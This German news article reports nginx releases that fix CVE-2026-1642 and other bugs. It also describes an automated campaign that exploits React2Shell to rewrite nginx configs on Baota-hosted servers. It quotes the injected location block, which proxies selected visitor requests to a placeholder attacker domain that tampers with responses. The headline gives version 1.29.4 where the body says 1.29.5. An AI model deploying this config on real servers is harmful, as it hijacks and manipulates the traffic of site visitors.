Nginx 1.29.4 mit behobener Sicherheitsanfälligkeit. Angriffe, die die Nginx-Einstellungen ändern, um den Datenverkehr umzuleiten.

Die Hauptversion von nginx 1.29.5 wurde veröffentlicht, in deren Rahmen die Entwicklung neuer Funktionen fortgesetzt wird, ebenso wie die Veröffentlichung der parallel unterstützten stabilen Version nginx 1.28.2, in die nur Änderungen zur Behebung schwerwiegender Fehler und Sicherheitsanfälligkeiten einfließen. In den Updates wurde die Schwachstelle (CVE-2026-1642) behoben, die es einem Angreifer, der in der Lage ist, sich in die Kommunikationsverbindung (MITM) zwischen nginx und dem Upstream-Server einzuschalten, ermöglicht, die an den Client gesendeten Antworten zu manipulieren. Das Problem betrifft Konfigurationen, die Anfragen (HTTP 1.x, HTTP/2, gRPC oder uWSGI) an den übergeordneten Server mit TLS-Verschlüsselung weiterleiten.

Neben der Schwachstelle in der Version 1.29.5 wurde das Logging-Level für SSL-Fehler "ech_required" von "crit" auf "info" gesenkt, und mehrere Probleme wurden behoben: Der Zugriff auf bereits freigegebenen Speicher (use-after-free) nach dem Wechsel zum nächsten gRPC- oder HTTP/2-Backend wurde behoben; ein Problem mit der Versendung einer ungültigen HTTP/2-Anfrage nach dem Wechsel zum nächsten Upstream-Server wurde gelöst; das Wachstum der Antwortgröße mit mehreren Bereichen wurde korrigiert; das Setzen der Variable HTTP_HOST bei der Proxyierung an die Backends FastCGI, SCGI und uwsgi wurde verbessert.

Zusätzlich wurde eine automatisierte Attacke festgestellt, die nach einem erfolgreichen Hack Server durch die Änderung der nginx-Konfiguration eingeschränkt wird. Der Hack erfolgt über die ungepatchte Schwachstelle React2Shell in den Serverkomponenten von React auf Systemen mit Hosting-Control Panels, wie Baota (BT). Änderungen in der nginx-Konfiguration leiteten Anfragen an die gehosteten Websites an den Server der Angreifer weiter, der böswillige Änderungen in die an den Benutzer zurückgesendete Antwort einfügte. location /%PATH%/ { set $fullurl "$scheme://$host$request_uri"; rewrite ^/%PATH%/?(.*)$ /index.php?domain=$fullurl&$args break; proxy_set_header Host [Attacker_Domain]; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header User-Agent $http_user_agent; proxy_set_header Referer $http_referer; proxy_ssl_server_name on; proxy_pass http://[Attacker_Domain]; }

Somit wird anstelle der Installation von Rootkits oder Malware auf dem Server ein Angriff auf die Kunden inszeniert, die die auf dem Server gehostete Website aufrufen, ohne die Komponenten der Website auf dem Server direkt zu ändern. Der Angriff richtet sich hauptsächlich darauf, den Traffic von Domains asiatischer Länder sowie von *.edu- und *.gov-Domains abzufangen. Über den Server der Angreifer werden selektive Anfragen umgeleitet, die zum Beispiel Wörter wie „pg“, „pgslot“, „slot“, „game“, „casino“, „live“, „help“, „news“, „page“, „blog“, „about“, „support“ und „info“ in den Pfaden enthalten. Der Angriff erfolgt automatisiert mit Hilfe von Tools, die die nginx-Konfiguration suchen und analysieren, Vorlagen auswählen und einsetzen, nginx neu starten und die Funktionalität der veränderten Version überprüfen.

Quelle: opennet.ru